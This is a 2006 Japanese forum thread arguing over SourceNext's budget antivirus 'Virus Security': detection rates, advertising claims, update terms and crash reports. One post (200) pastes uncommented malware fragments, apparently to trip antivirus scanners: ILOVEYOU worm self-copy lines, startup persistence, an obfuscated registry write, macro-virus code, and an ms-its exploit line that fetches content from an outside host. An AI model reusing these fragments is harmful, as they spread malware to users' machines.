145 :名無しさん@お腹いっぱい。:2006/07/31(月) 02:37:12
>>144
じゃーVSのパッケージに
「検出率は業界最下位ですが、問題なく使用できます」
と表示して欲しいなー

146 :名無しさん@お腹いっぱい。:2006/07/31(月) 03:49:58
いんじゃね? 確かに↑の方では業界で最下位だし(低ランクは間違いないだろな・・・)
過大広告なのも確かだ。数字がない売り文句は実態が不透明だしな。
実際はここまで防げば十分なので問題なく、しかも廉価って売りにすればいいさ。

逆に言えばネタやノリを取っ払ってもおまえら少し貶め過ぎ。
出された料理の箸やお椀に文句言ってるようなレベル。まるきりGKだな。
俺は問題ないし、一般人も似た環境ならさして問題ないと思ったのさ。
面倒くさくないのも良かった。まあ必要あれば乗り換えるけどね。

147 :名無しさん@お腹いっぱい。:2006/07/31(月) 06:37:27
>>146
自分が使ってもいないソフトをわざわざ貶めに来るなんて人間は普通
じゃないから放っておきましょう。普通なら他人が使っている物なんて
どうでもいいはずだからね。

148 :名無しさん@お腹いっぱい。:2006/07/31(月) 09:41:13
ヒント 過大広告を生命にしている会社は糞について

149 :名無しさん@お腹いっぱい。:2006/07/31(月) 10:03:25
本当にどうしようもなければ3番手なんかにいないってば。
食ったら体調崩すような毒キノコをいくらうまく(自演までして)宣伝しても売れないでしょ。

150 :名無しさん@お腹いっぱい。:2006/07/31(月) 10:33:27
速効性がある毒キノコじゃないからな
また全員に対して毒があるわけでもない。それがたちの悪いところ
ウイルスに遭遇する人間自体が少ないのだからそうそう露呈することではない

151 :名無しさん@お腹いっぱい。:2006/07/31(月) 11:19:56
>>144
>その頃には流石に対応出来ると思うし。
思い、憶測、願望
>普通にサイト巡りや知人・企業からのメール開く限りでは全然影響ないんだが。
お前一個人の狭いネット利用による経験
>俺だけがラッキーなだけなんて絶対無いし
お前一個人(周囲含む)の体験如きに絶対性などない

ネットには色々な利用者がいる
お前自身をそうぎゃーぎゃーと攻撃するつもりはないがあまり意味のある発言になっていない

152 :前1 ◆l/1oeBfPOg :2006/07/31(月) 16:41:33
久しぶりに嵐にきたが相変わらずそんな価値ないな

153 :名無しさん@お腹いっぱい。:2006/07/31(月) 17:46:41
なんだかんだ言いながら、結局はみんなVS使ってる

154 :名無しさん@お腹いっぱい。:2006/07/31(月) 18:33:23
なんだかんだ言いながら、結局ダメなものは駄目それはVSだ




155 :名無しさん@お腹いっぱい。:2006/08/01(火) 05:47:28
>ネットには色々な利用者がいる
その利用者に問題あるから感染するハメになるんじゃないの?
企業クラスで語るなら万が一すら許されない=VSじゃ駄目だって話になるかも知れんが。

156 :名無しさん@お腹いっぱい。:2006/08/01(火) 06:30:23
「ウイルスセキュリティ」は個人ユーザー向けの製品です。

157 :名無しさん@お腹いっぱい。:2006/08/01(火) 10:19:58
>>156
個人向けと法人向けの違いってなに?
ソースネクストの言う法人用の環境を考慮して作られていない、の意味が分からない

158 :名無しさん@お腹いっぱい。:2006/08/01(火) 10:33:08
>153たしかにそんなもんだ
わざわざ高い金だしてアンチウイルスに投資できるのは企業くらい
個人はパソコンに元から入ってるセキュリティソフトか低価格のセキュリティソフトかフリーの使うくらいだろ


159 :名無しさん@お腹いっぱい。:2006/08/01(火) 11:55:46
>>157
VSはRAIDとかに対応してないからな。
ネットワーク対応は1台〜数台を対象とした仕様のソフトってことだな。
個人で家庭内ネットワークくらいなら問題ないけど…

160 :名無しさん@お腹いっぱい。:2006/08/01(火) 13:47:56
http://sec.sourcenext.info/virus/list.html

履歴ページの管理できねえ会社



ボゾリ・A( Worm.Bozori.a ) が 更新日2005年8月16日(火)
になっているけど、それ以来ほったらかしだなww


161 :名無しさん@お腹いっぱい。:2006/08/01(火) 14:23:34
>>160
その手の事はブログでも作って書いて下さい。
検出率ネタとメーカー叩きは飽き飽きなので。

ここは不具合報告と、その叩きだけでいいんじゃないですかね。


162 :名無しさん@お腹いっぱい。:2006/08/01(火) 14:41:57
社員が宣伝を続ける限り無理

163 :名無しさん@お腹いっぱい。:2006/08/01(火) 15:14:08
社員の宣伝もブログでも作って管理して下さい。
ちゃんと更新して下さいね。

164 :名無しさん@お腹いっぱい。:2006/08/01(火) 15:28:31
信用されないから早く返金して撤退した方がいいよ


165 :名無しさん@お腹いっぱい。:2006/08/01(火) 16:30:30
>>161
単に自分の都合のいい形にしたいだけか。
メーカー叩きは荒しのひとつだろうが検出率は情報のひとつです。
どう判断するかは閲覧者の自由。お前が飽きようが飽きまいがそんなことはどうでもいい。

166 :名無しさん@お腹いっぱい。:2006/08/01(火) 18:35:08
http://www.k7computing.com/products.htm
>100% Virus Detection
100%て。

167 :検出率@お腹いっぱい。:2006/08/01(火) 18:55:22
>検出率は情報のひとつです
>どう判断するかは閲覧者の自由

それで済めばいいが、
わざわざこの板で連呼するヤツのは、
たいてい「検出率こそ全て」で
「VSはこんなに低い!どーだまいったか」で
「だから買うんじゃねえ!」
と三段論法したいヤツばっか。

まあ、自分の愛用ソフトのが高いとか、
フリーソフトが高いなんかを自慢したいのは
分かったけどな・・・・


168 :名無しさん@お腹いっぱい。:2006/08/01(火) 19:12:37
だから検出率以外もだめだめ
じゃない

169 :名無しさん@お腹いっぱい。:2006/08/01(火) 19:20:20
>>167
お前自身が評価のひとつでしかないと理解していればいい話です
聞き飽きたから書くなという方が暴論です
それともテンプレ化した方がいいですか。それなら一回で済みますが

170 :名無しさん@お腹いっぱい。:2006/08/01(火) 19:22:24
>>167
ソース叩けばステータスが上がると勘違いしてる奴が多いだけのようだね。
P2P導入を基準にして安全性語る奴らが跡を絶たないようで・・・
普通の奴はこれで問題ないけど、俺はSpybotだけは併用してる。

171 :名無しさん@お腹いっぱい。:2006/08/01(火) 19:42:17
じゃーVSのパッケージに
「winnyウイルス非対応」
「検出率は業界最下位ですが、問題なく使用できます」
と併記して表示しろ


172 :名無しさん@お腹いっぱい:2006/08/01(火) 19:56:40
いやまあ、
「問題なく使用できます」
だけでいいだろう。
消費者を混乱させるだけだから。


173 :名無しさん@お腹いっぱい。:2006/08/01(火) 20:10:55
「winnyウイルス非対応ですが、問題なく使用できます」
では?
消費者の関心はそこだろ?



174 :名無しさん@お腹いっぱい。:2006/08/01(火) 20:50:44
他社の社員は何がしたいのか分からん。

175 :名無しさん@お腹いっぱい。:2006/08/01(火) 20:53:46
いつの間にかアンチと擁護の対立スレになったね。
両方いなくなって普通のスレに戻って下さい。

176 :名無しさん@お腹いっぱい。:2006/08/01(火) 21:18:52
対立するおかげで問題点が浮き彫り
になったけどな。
後はまだ疑問に思う初心者が売り場でこの点について質問するだけ。



177 :名無しさん@お腹いっぱい。:2006/08/01(火) 21:40:28
>>176
んー、まぁ売り場の人は売りたい商品を勧めるだけで
しかも言うことが決して正しいわけでもないし
売り場の係員だってアンチウイルスの専門の人じゃないんだからそれも話半分だよな

178 :名無しさん@お腹いっぱい。:2006/08/01(火) 21:50:22
>>170
頭悪そうだね。
何ですかP2P導入を基準にするって。Skypeを基準にして語ってくれますか?

179 :名無しさん@お腹いっぱい。:2006/08/01(火) 22:00:31
売りたい商品ってより価格の高い商品だと思うぞ
まだ疑問に思う初心者はなぜVSが安いのか
気がついたとおもうが


180 :名無しさん@お腹いっぱい。:2006/08/01(火) 22:20:25
「winnyウイルス非対応」 のアンチウイルスソフト


181 :名無しさん@お腹いっぱい。:2006/08/01(火) 23:24:20
システム防御があるから未対応のウイルスでも変更を許可しなければ大丈夫か、
と思ってたがレジストリ弄る前にファイル弄るタイプの場合どうにもできなくないか?

182 :名無しさん@お腹いっぱい。:2006/08/02(水) 00:16:44
>>価格の高い商品

約10年使えるという建前をさしおけば、
4000円近くするから、それなりに価格は高い

183 :名無しさん@お腹いっぱい。:2006/08/02(水) 01:23:47
他の使えば10年で4万超すぞ

184 :名無しさん@お腹いっぱい。:2006/08/02(水) 02:05:13
>>182-183
見事なまでに噛み合っていないな

185 :名無しさん@お腹いっぱい。:2006/08/02(水) 03:29:08
Bloodhound Virusってソフトがパソコンに入ってしまって・・・削除の仕方か削除するソフト教えてくれませんか!?

186 :名無しさん@お腹いっぱい。:2006/08/02(水) 03:56:13
Norton削除しろ

187 :名無しさん@お腹いっぱい。:2006/08/02(水) 06:02:52
>>185
世の中には Google検索 という
それはそれは便利なものがあるって知ってるかい?

188 :名無しさん@お腹いっぱい。:2006/08/02(水) 06:08:10
ウイルスセキュリティで削除できないのか?

189 :名無しさん@お腹いっぱい。:2006/08/02(水) 18:06:55
ウイルス素通りするんなら安くたって使えない。
しばらく様子みるか

190 :名無しさん@お腹いっぱい。:2006/08/02(水) 18:20:22
>>189
2ちゃんの話を真に受けるヤツ(失笑)
それとも、アンチ誘導か

191 :名無しさん@お腹いっぱい。:2006/08/02(水) 19:54:01
4000円もして、ほかのソフトと競合してだめ。さらに、どうも
性能に不安がある。だまされたとしか思えない。役に立っていると
思う人は投稿して。

192 :名無しさん@お腹いっぱい。:2006/08/02(水) 20:13:54
俺はもう1年半使ってるが問題ないぞw
結構ウイルスもはじいてくれてる。スパイウエア対策は機能してるのか
疑問だけどな…これが動いてるのみたことないw
定義上はウイルスと分けてないようだけど…

ついでに更新!9.0.0084再起動梨だよ

193 :名無しさん@お腹いっぱい。:2006/08/02(水) 21:42:50
>俺はもう1年半使ってるが問題ないぞ

もともとそういうものさ。
不具合なんて1から2だった内容を
100にも1000にも書きまくる荒らしが横行しているから。
まあ、すんなり動いてつまらないというヤツもいるかもな・・・

194 :名無しさん@お腹いっぱい。:2006/08/02(水) 22:07:29
nyみたいなp2pソフト使わなければ、これでいいんじゃねえ
pcの挙動が怪しくなったらOSの再インストール

195 :名無しさん@お腹いっぱい。:2006/08/02(水) 22:42:59
ノートンアンチウイルス2006 Ver.2
http://pc8.2ch.net/test/read.cgi/sec/1143257068/

上ののURLを開くと、「ノートンインターワームプロテクションが侵入の試みを検出して遮断しました」
と出るので、携帯で質問してましたがこちらで聞かせてもらいます。

>ノートンインターワームプロテクションが侵入の試みを検出して遮断しました
これってなんなんでしょうか?またこれを防ぐ方法はありますか?

この警告が出るとそこのスレッドとそこの板が開けないんです。
しかししばらくすると開けるんですが、上のスレを開くとまたおかしくなるので、
こちらに来ました・・・

またここのスレでも同じ警告が出ておかしくなります。
その時に前夫のレスを所得せずに「レス324 所得116」となるので、>>117に問題が??

ノートンアンチウイルス2006 Ver.2
http://pc8.2ch.net/test/read.cgi/sec/1143257068/
ここのスレは「レス969 所得899」となるので、>>900に問題が??

196 :名無しさん@お腹いっぱい。:2006/08/02(水) 22:45:21
>前夫のレス

全部のレスです

197 :グタグタなので改めて:2006/08/02(水) 22:47:14
ノートンアンチウイルス2006 Ver.2
http://pc8.2ch.net/test/read.cgi/sec/1143257068/
上ののURLを開くと、「ノートンインターワームプロテクションが侵入の試みを検出して遮断しました」
と出るので、携帯で質問してましたがこちらで聞かせてもらいます。

>ノートンインターワームプロテクションが侵入の試みを検出して遮断しました
これってなんなんでしょうか?またこれを防ぐ方法はありますか?

この警告が出るとそこのスレッドとそこの板が開けないんです。
しかししばらくすると開けるんですが、上のスレを開くとまたおかしくなるので、
こちらに来ました・・・

またここのスレでも同じ警告が出ておかしくなります。
>GLAY統一スレ258
http://music5.2ch.net/test/read.cgi/musicjg/1154479732/
その時に全部のレスを所得せずに「レス324 所得116」となるので、>>117に問題が??

ノートンアンチウイルス2006 Ver.2
http://pc8.2ch.net/test/read.cgi/sec/1143257068/
このスレは「レス969 所得899」となるので、>>900に問題が??


198 :グタグタなので改めて:2006/08/02(水) 22:48:06
言い忘れましたがノートンを切っても同じ現象が起こるんです

199 :グタグタなので改めて:2006/08/02(水) 22:50:02
また、除外で2チャンネルのログを指定してもなるんです。
だからウイルスコード以外の何かですかね?

200 :名無しさん@お腹いっぱい。:2006/08/02(水) 22:56:13
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???

201 :名無しさん@お腹いっぱい。:2006/08/02(水) 23:04:48












これだけの実態が晒されると
ますますホントの売り上げが低下して
とても10年も安全とは思えんなぁ
間違って買った人は返品するのかなー?






.

202 :名無しさん@お腹いっぱい。:2006/08/02(水) 23:07:15
本当氷室ファンはろくなのがいない。まあコードが原因だって分かったからいいけど。

203 :名無しさん@お腹いっぱい。:2006/08/02(水) 23:07:44
>>200
どうしたの?

204 :名無しさん@お腹いっぱい。:2006/08/02(水) 23:13:02
検出率はavastのが上。

205 :名無しさん@お腹いっぱい。:2006/08/02(水) 23:15:55
検出率がどうかしたの?

206 :名無しさん@お腹いっぱい。:2006/08/02(水) 23:16:47
えらい。avast!は原田に対応

207 :名無しさん@お腹いっぱい。:2006/08/02(水) 23:19:10
>>194
OSの再インストールするために
VSいれるなよ

208 :名無しさん@お腹いっぱい。:2006/08/03(木) 04:50:30
なんでネットワークレイヤに干渉して、正常なパケットぶった切るバカな機能?が設定で止められないのかと




209 :名無しさん@お腹いっぱい。:2006/08/03(木) 09:20:34
>>201
日本語でお願いします

210 :名無しさん@お腹いっぱい。:2006/08/03(木) 11:38:51
すみません、ちょっとお聞きしたいのですが・・・・。
先日、動画配信gyaoのソースネクスト社長のインタビューを見て、
ウィルスセキュリティーという商品を知りました。
今はノートンを使っているのですが、ウィルスセキュリティだと
更新無しとのことで、買い替えようと思っていますが、
このスレを読んで少し不安になっています。

使ってみた感想、不安要素など、使用している人の感想を
もっと伺いたいと思い、投稿させていただきました。
実際使ってみてどうでしょうか?

211 :名無しさん@お腹いっぱい。:2006/08/03(木) 12:23:42
>>210
過去ログでもなんでも読んだ方がいい。感想など腐るほどある。
あとネットにもたくさん情報がある。あえて2chで聞かなければならない理由など皆無。
今更ここで書かせるより価格COMの掲示板、OKWaveでも閲覧した方が早いね。

212 :名無しさん@お腹いっぱい。:2006/08/03(木) 12:36:50
>>211
レスありがとうございます。m(__)m
価格ドットコムとOKWave見てきます!

213 :名無しさん@お腹いっぱい。:2006/08/03(木) 12:40:24
>>210
このスレは他社の工作員だらけだから信頼度ゼロ

214 :名無しさん@お腹いっぱい。:2006/08/03(木) 13:06:57
毎年価格が下がって10年後にはゼロになりまつ

215 :名無しさん@お腹いっぱい。:2006/08/03(木) 14:50:11
ウイルスセキュリティ(K7 Computing)は未だに
Microsoft Windows セキュリティ センターのウイルス対策パートナー
に認められてないね。

http://www.microsoft.com/athome/security/viruses/wsc/ja/default.mspx

そうでなくても変化の早い今の世の中、すぐに飛びつかなくてもいいんじゃないかな?
考え方も変わるし、スキルも向上するし、UGな遊びもしたくなる。
各社の体験版も試したくもなるだろう。
様々な選択も新たな手段だ。
10年間同じなんて変だね。


216 :名無しさん@お腹いっぱい。:2006/08/03(木) 15:53:04
>>210
使ってるけど、何も問題ないよ

217 :名無しさん@お腹いっぱい。:2006/08/03(木) 16:25:17
ヒント ネットにつなげない


218 :名無しさん@お腹いっぱい。:2006/08/03(木) 17:06:45
>>215
10年間もこのソフトに拘束されるというのがなぁ・・・
次の更新にZEROを入れるのも嫌だし、単なる更新じゃ金銭的に損する気分で・・・
ZEROは早く購入しないと段々損になるシステムなので困る。相対的に期限が短くなるので

219 :名無しさん@お腹いっぱい。:2006/08/03(木) 17:22:24
質問させてください。

ソースネクストのウイルスセキュリティのウイルス自動検知設定が
いじった覚えはないのだが、無効になってます。
亀田驚愕ウイルス感染後→設定を1日前に戻したのだが、それが影響したんだろうか、
有効にするを押しても、「リアルタイム検知を有効にできません。
説明を参照するか、製品を再インストールしてください。」
となってしまいます><設定を元に戻す前は、画面右下のアイコンも
正常だったのですが、今は黄色の!マークの様な物がセキュリティアイコン
に付いています。解決方法ご存知の方教えてください。

220 :219:2006/08/03(木) 17:51:58
再インストールしたら正常に使えるようになりました。

221 :名無しさん@お腹いっぱい。:2006/08/03(木) 21:38:28
>>217
ヒント

ネットに繋げていないのに2chにレスしているのはなぜ?

222 :名無しさん@お腹いっぱい。:2006/08/03(木) 22:17:25
>>221
大ヒント パソコンは家庭に一台しかないと思ってるのは童貞だけ

223 :名無しさん@お腹いっぱい。:2006/08/03(木) 22:28:07
>>214
毎年価格が下がる、ってのはないけど、10年後にはゼロになるというのは正解
正解というかホーム用Vistaのサポート終了が2014年までなんだから
8年後には必然的にゴミになる。10年後なんてとっくに期限外
7年後に間違って買ってしまったら期限は1年しかないので存在自体ありえない
よって6年以内(次のOSが発表される頃)に新パッケージが出る。ZEROの賞味期限もさほど長くはない

224 :名無しさん@お腹いっぱい。:2006/08/03(木) 22:43:00
フフ、まるで自分がソースネクストのように決めつけるヤツだ。
でも社員扱いは嫌がるくせにな。
何が何でも、ウイルスセキュリティが売れるのを阻止したい気が
充ち満ちているな。
まあ、数年後なぞ誰にも予想がつかんよ。
最低2年、4.5年使えたらオンの字ということでよかろう。
別にキミが損するわけでもない。
そう意固地になることもあるまい。


225 :名無しさん@お腹いっぱい。:2006/08/03(木) 22:45:29
その新パッケージがでるまで
大手製品やavastでも使った方が合理的だな

226 :名無しさん@お腹いっぱい。:2006/08/03(木) 22:55:36
>フフ、まるで自分がソースネクストのように決めつけるヤツだ。
>でも社員扱いは嫌がるくせにな。

なにこれ。日本人が書いた文章とは思えない。

227 :名無しさん@お腹いっぱい。 :2006/08/03(木) 22:57:54
223=226
プッ、やはり社員!

228 :名無しさん@お腹いっぱい。 :2006/08/03(木) 22:59:57
>>226
ていうか、何がいいたいのかわからない。

229 :名無しさん@お腹いっぱい。:2006/08/03(木) 23:00:40
アンチでも社員でもいいからさ
発言する前に今現在使ってるかどうか書いてくれよ。

230 :名無しさん@お腹いっぱい。:2006/08/03(木) 23:06:51
ここで不具合報告するヤツの90%は、
買っていないし使ったことすらないのは、もはや周知のこと・・・

231 :名無しさん@お腹いっぱい。:2006/08/03(木) 23:09:26
・・・・いいさ、しょせん荒らしばかりの く そ ス レ なのだから

232 :223:2006/08/03(木) 23:19:32
>>224
いや、別に社員扱いして貰っても一向に構わないけど・・・困ることが一切無い
駄レスが増えるのでレスはいらないけど扱いぐらいはご自由に
ちなみに無期限というのは嘘なので社員としていい加減やめてもらいたい
通常8年、最大10年(Vistaサポートが伸びればそれに準ずる)が正しい
なぜ商品を売るために嘘まで付くんだ? 堂々と更新料10年間無料と書けばいいだろう

233 :名無しさん@お腹いっぱい。:2006/08/03(木) 23:22:17
>>230
それは動作報告をする人間すべてに言えることだが。
買ったとか、ネットに繋がらないとか、順調だとか、不具合が出たとか、全部含めて信頼性皆無。

234 :名無しさん@お腹いっぱい。:2006/08/03(木) 23:47:15
楽天の購入者レビューは信用できるんじゃないの?
http://review.rakuten.co.jp/item/1/213310_11877562/1.1/

235 :名無しさん@お腹いっぱい。:2006/08/03(木) 23:59:23
>>138

236 :名無しさん@お腹いっぱい。:2006/08/04(金) 00:04:20
>>232
それは同感だ。
更新料10年間無料でも充分意義のある素晴らしいことなのに
なぜこの業界の革新的偉業を突き抜けて誇大広告の領域まで突っ走るのか理解できない。
自分の看板に泥を塗る行為に等しい。

237 :名無しさん@お腹いっぱい。:2006/08/04(金) 00:18:49
>>234
一応全部読んだが購入前レビュー及びZEROという商品への感想しかない。
要約すると安いと軽いしか書かれてない。

全部読んでから発見した一文。発言の信頼性が一気に失われた。
>この商品(ショップ)には、購入をした事がない方もレビューを書くことができます


238 :名無しさん@お腹いっぱい。:2006/08/04(金) 00:45:42
家庭用だとこれで良し。

239 :名無しさん@お腹いっぱい。:2006/08/04(金) 01:57:38
俺は一応1年契約の方でも擁護派だけど、今はまだZEROに手を出す気は無い。
この手のソフトに付き物とはいえ不具合があるし、1年位経って評価がどうなるかで検討する。

240 :名無しさん@お腹いっぱい。:2006/08/04(金) 02:08:01
つーかあえて使う理由がないでしょうよ

241 :名無しさん@お腹いっぱい。:2006/08/04(金) 02:13:16
1年経ってというかVistaが出てから、だな。
Vistaが本当に来年出るかどうかは分からんが。

242 :名無しさん@お腹いっぱい。:2006/08/04(金) 02:27:06
>>239
うん、あんたはあえてこれを使う必要ないだろ
他の使いなよ

243 :名無しさん@お腹いっぱい。:2006/08/04(金) 09:50:28
ソフトよりソースのHPに不具合が出るぞ。

244 :名無しさん@お腹いっぱい。:2006/08/04(金) 19:40:06
>>160


245 :名無しさん@お腹いっぱい。:2006/08/04(金) 22:20:21
>>239
VS2006とZEROは更新期限の事が違うだけで中身は同じなんだが。

246 :名無しさん@お腹いっぱい。:2006/08/04(金) 22:45:40
だから無駄金を使わないようにってことだろ
2006より高いんだからよ

247 :名無しさん@お腹いっぱい。:2006/08/05(土) 15:03:50
>>246
日本語を勉強して来い

248 :名無しさん@お腹いっぱい。:2006/08/05(土) 15:30:37
>>247
小学生かな? 日本語は難しいですね
正確な日本語を使って貰わないと理解できないんだよね
勉強頑張ってな

249 :名無しさん@お腹いっぱい。:2006/08/05(土) 18:24:05
>>248
おまえも頑張れよ。

250 :名無しさん@お腹いっぱい。:2006/08/05(土) 18:46:27
どう見ても247の理解力が低いだけのような気がするが。
単なるレベルの煽りなのでどうでもいいことだが。

251 :名無しさん@お腹いっぱい。:2006/08/05(土) 21:22:33
そもそも、2ch正でしい日本語を求める時点で間違ってるだろ

252 :名無しさん@お腹いっぱい。:2006/08/05(土) 22:16:38
ここは釣堀だな。

253 :名無しさん@お腹いっぱい。:2006/08/05(土) 23:07:03
ここの魚は必死だから楽しくフィッシングできる。

254 :名無しさん@お腹いっぱい。:2006/08/06(日) 01:00:54
俺は5匹ぐらい釣ったよ。
検出率を持ち出して擁護を釣るのもいいが、
VSを褒めてアンチを釣る方が楽しいかな。

255 :名無しさん@お腹いっぱい。:2006/08/06(日) 03:49:17
擁護なら3匹釣った。餌は社員。

256 :名無しさん@お腹いっぱい。:2006/08/06(日) 05:32:39
>>254
おまいみたいのが居るからまともに議論できないんじゃないかw
頼むから自重汁。

257 :名無しさん@お腹いっぱい。:2006/08/06(日) 05:51:21
多少アンチの振りをしておかないとスレが賞賛で埋め尽くされて
それに嫉妬した本物の荒らしが来てしまうので。

258 :名無しさん@お腹いっぱい。:2006/08/06(日) 09:03:28
単にレスを返されることを釣ったと勘違いしている痛い本物の厨房がいる釣り堀はここですか?

259 :名無しさん@お腹いっぱい。:2006/08/06(日) 11:26:18
ちょうどバスターの期限きれたので

コンビにで500円で買ってみた。

インストールして再起動したとたん、ブルースクリーンで再起動を繰り返す
噂には聞いていたがとんだ地雷ソフトだね。

二度と買いません。よい教訓になりました。


260 :名無しさん@お腹いっぱい。:2006/08/06(日) 11:40:34
はい、エサが投下されました。
何匹釣れるでしょう↓

261 :名無しさん@お腹いっぱい。:2006/08/06(日) 12:42:52
くまくまー

262 :名無しさん@お腹いっぱい。:2006/08/06(日) 13:21:28
久しぶりに覗いてみたけど、メンバー変わったのか? ちょっと雰囲気変わったな。

でもグダグダなのは、いつも一緒ww

263 :名無しさん@お腹いっぱい。:2006/08/06(日) 13:29:16
>>262
スレが更新されるたびに雰囲気を変えてます。
そうしないと何スレ目だか分からなくなるでしょ。
内容はいつも同じなんだから。

264 :名無しさん@お腹いっぱい。:2006/08/06(日) 14:43:16
体験版の期間が7日というのはさすがに酷すぎると思う

265 :名無しさん@お腹いっぱい。:2006/08/06(日) 16:06:15
7日以上は化けの顔が剥がされてしまうからな

266 :名無しさん@お腹いっぱい。:2006/08/06(日) 19:51:14
キタ

267 :名無しさん@お腹いっぱい。:2006/08/07(月) 09:31:58
ブルースクリーン、再起動は修正はいってるから
HPから最新版DLしてみたら?

268 :名無しさん@お腹いっぱい。:2006/08/07(月) 12:18:13
>>267
ネタにマジレス・・・いい人だね

269 :名無しさん@お腹いっぱい。:2006/08/07(月) 12:56:55
ブルースクリーン、再起動問題以外ネタ無いみたいだね。

270 :名無しさん@お腹いっぱい。:2006/08/07(月) 15:22:34
アリの巣コロリってあるじゃん
蟻の行列にポンと置くと一瞬ビックリして列が乱れる
邪魔だなと言わんばかりに迂回する列が出来る
そのうち好奇心旺盛な一匹がアリの巣コロリに入る
そいつをマネして何匹も入る
毒とも知らずにツブツブを運び出す
一匹が一粒づつ
いつのまにか行列はアリの巣コロリが折り返し地点になる
黄色い粒と黒い蟻が作り出す模様は綺麗で見てて楽しい
一匹が一粒づつ丁寧にせっせと毒の粒を運ぶ
せっせとせっせとせっせとせっせと
蟻さんって働き者だなと思う
俺も頑張らなきゃなと思う
次の日あれほど沢山いて俺を困らせた蟻が一匹もいない
ほんとにいない
探してもいない
泣きたくなった


このレスを見た人は4日後にあなたの大切な人がいなくなるでしょう
それが嫌ならこのレスを5つの板にコピペしてください
信じるか信じないかはあなた次第です


271 :名無しさん@お腹いっぱい。:2006/08/07(月) 16:25:08
>>269
検出率を忘れるな!
ここ最近の大ヒットだろうが!

272 :名無しさん@お腹いっぱい。:2006/08/07(月) 17:01:47
確かにw
アンチにとっては一番のご馳走だね。

273 :名無しさん@お腹いっぱい。:2006/08/07(月) 20:04:29
検出率は確かに低いかもしれんが
「ザル」は言いすぎだと思う。

274 :名無しさん@お腹いっぱい。:2006/08/07(月) 20:36:35
これでブルーになったことがありません,皆さんどうやったの?


275 :名無しさん@お腹いっぱい。:2006/08/07(月) 20:45:05
きてる

276 :名無しさん@お腹いっぱい。:2006/08/08(火) 09:01:46
>>273
いや、こういうヒット率のものを表現するのに最も適切な表現だと思うよ。

ザル

277 :名無しさん@お腹いっぱい。:2006/08/08(火) 10:47:45
>>276
頑張れ、アンチ!!


278 :名無しさん@お腹いっぱい。:2006/08/08(火) 11:43:56

ソースネクスト、500円で3カ月利用できるセキュリティ対策ソフト
http://bb.watch.impress.co.jp/cda/news/12036.html

 なお、ウイルスセキュリティ2006は、未知のウイルスを検知するためのいわゆるヒューリスティック技術を採用していない。
ソースネクストのプロデュースグループプロデュースチームでゼネラルマネージャを務める小嶋智彰氏は、「ヒューリスティック技術の研究は進めているが、現在のヒューリスティック技術では誤検知も発生する。
誤検知によって初心者を戸惑わせてしまう恐れもあり、ウイルスセキュリティにとっては必ずしも有効な技術ではない」とコメントした。



ソースネクスト、低価格ソフトの次なる戦略は?
松田社長に聞く
http://internet.watch.impress.co.jp/cda/special/2005/12/19/10275.html

――ところで、ウイルスセキュリティではヒューリスティック技術を採用していませんが。

松田社長:未知のウイルスに対応できると言われているヒューリスティック技術には、有効な面もありますが、誤検知の恐れが否定できません。
初心者向けのウイルスセキュリティで誤検知は出したくないのです。

 また、機能を何でも詰め込むと、価格が高くなってしまいます。
現在ウイルス対策ソフトは必須のように言われており、ある意味“基本料金”になってしまっています。
いずれにせよ、ウイルス対策ソフトは主役のソフトではありません。
ウイルス対策ソフトを購入することが目的でPCを使っている人はいないのですから、価格が高いと消費者はかわいそうです。

279 :名無しさん@お腹いっぱい。:2006/08/08(火) 11:46:01
検出率とやらで不安なら、
大手3社のウイルススキャンを定期的にすればいい
検出されたら手動で削除
その覚悟と手間を惜しまない人には、最安のソフトになる

280 :名無しさん@お腹いっぱい。:2006/08/08(火) 12:37:05
3ヶ月で500円てなんだ。
ウイルスバスターには3ヶ月体験版があるというのに。

281 :名無しさん@お腹いっぱい。:2006/08/08(火) 12:47:25
>>280
もっと言えばキングとF-secureには180日体験版があるけどな

282 :名無しさん@お腹いっぱい。:2006/08/08(火) 14:06:56
>>281
じゃあ、あんたらはウイルスバスター→キング→F-secureと試用版のハシゴを
してればいいじゃない。どうぞご勝手に!

283 :名無しさん@お腹いっぱい。:2006/08/08(火) 14:50:14
>>279

あほんだら
手動で削除できるやつが
ウイルスセキュリティ買うかよ?


284 :名無しさん@お腹いっぱい。:2006/08/08(火) 14:52:20
>>283
買う気のない粘着アラシは、NODスレにでも逝ってくれ

285 :名無しさん@お腹いっぱい。:2006/08/08(火) 14:54:21
>>283
手動で削除できないチミは、おとなしく高いソフトを買うことだなw

286 :名無しさん@お腹いっぱい。:2006/08/08(火) 15:07:53
じゃーパッケージに
「手動で削除できない初心者はお断り」って表示しろ

287 :名無しさん@お腹いっぱい。:2006/08/08(火) 15:44:04
修正
「winnyウイルス非対応。手動で削除していただければ使用できます」

288 :名無しさん@お腹いっぱい。:2006/08/08(火) 16:07:22
winnyだと?

ファイル交換行為自体は違法ではないが、
やっているヤツの99%以上が
「著作権のあるファイルの無許可交換」だからなあ。
そんな犯罪者の手助けなどしなくていいだろう。
よって、現状維持で十分。

